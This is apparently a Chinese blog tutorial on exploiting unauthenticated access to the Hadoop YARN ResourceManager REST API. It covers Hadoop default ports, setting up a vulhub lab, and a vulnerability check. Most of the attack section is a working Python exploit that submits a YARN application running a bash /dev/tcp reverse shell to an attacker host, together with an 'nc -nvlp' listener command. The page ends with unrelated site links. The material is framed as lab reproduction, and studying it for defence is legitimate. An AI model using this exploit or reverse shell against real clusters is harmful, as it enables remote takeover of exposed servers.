Hadoop-未授权访问-内置配合命令执行RCE

一、Hadoop常见端口及配置文件

Hadoop中有多种端口,这些端口用于不同的服务和通信。以下是Hadoop中常见的端口以及它们的用途:

NameNode Web界面端口 (默认: 9870)

NameNode 对客户端服务端口 (默认: 8020)

Secondary NameNode Web界面端口 (默认: 9868)

Secondary NameNode 对DN的服务端口 (默认: 50020)

ResourceManager 管理界面端口 (默认: 8088)

DataNode 数据传输端口 (默认: 50010)

DataNode 服务端口 (默认: 50075)

NodeManager 管理界面端口 (默认: 8042)

这些端口可以在Hadoop的配置文件中找到,通常位于$HADOOP_HOME/etc/hadoop/目录下的
core-site.xml, hdfs-site.xml, yarn-site.xml, 和 mapred-site.xml文件中。

二、复现环境

方法一

https://vulfocus.cn/#/dashboard

方法二

用 vulhub 开启环境
切换到漏洞环境目录

cd /root/vulhub/hadoop/unauthorized-yarn

构建(重新构建)项目中的服务容器

docker-compose build

启动已定义在docker-compose.yml文件中的服务容器,并以守护进程的方式在后台运行(启动靶场)

docker-compose up -d

关闭靶场

docker-compose down

三、介绍漏洞

vulhub官方介绍

https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

知道创宇

https://www.seebug.org/search/?keywords=hadoop&category=&level=all

四、演示

访问漏洞靶场

启动漏洞环境,访问漏洞地址

http://123.58.224.8:31227/

漏洞存在判断

访问

http://123.58.224.8:31227/cluster/apps 

如果能成功访问说明漏洞存在

开启监听

在监听服务器上开启nc监听

nc -nvlp 9999

exp脚本

反弹shell的exp

import requests

target = 'http://123.58.224.8:31227/'     # 目标地址
lhost = 'x.x.x.x'                         # 接收shell的攻击机ip

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

运行脚本

python exp.py

查看监听服务器

成功反弹shell

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-05-16 11:10:11       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-05-16 11:10:11       101 阅读
  3. 在Django里面运行非项目文件

    2024-05-16 11:10:11       82 阅读
  4. Python语言-面向对象

    2024-05-16 11:10:11       91 阅读

热门阅读

  1. 我和爬虫的故事

    2024-05-16 11:10:11       38 阅读
  2. Vue.component v2v3注册(局部与全局)组件使用详解

    2024-05-16 11:10:11       30 阅读
  3. 12、均移聚类(Mean shift clustering)

    2024-05-16 11:10:11       34 阅读
  4. JUnit 4单元测试常用注解和方法

    2024-05-16 11:10:11       31 阅读
  5. Git实用命令

    2024-05-16 11:10:11       34 阅读
  6. 在 CentOS 上使用 Nginx 配置 HTTPS 并禁止 IP 访问

    2024-05-16 11:10:11       30 阅读
  7. 【奈学科技】P7大前端架构师1期

    2024-05-16 11:10:11       28 阅读
  8. 基于SpringCloudGateway实现接口鉴权

    2024-05-16 11:10:11       36 阅读
  9. docker 配置文件使用经验,后续持续增加

    2024-05-16 11:10:11       36 阅读
  10. 记录一下-排查免密登录过程

    2024-05-16 11:10:11       31 阅读
  11. Oracle如何实现rsa加密和例子

    2024-05-16 11:10:11       28 阅读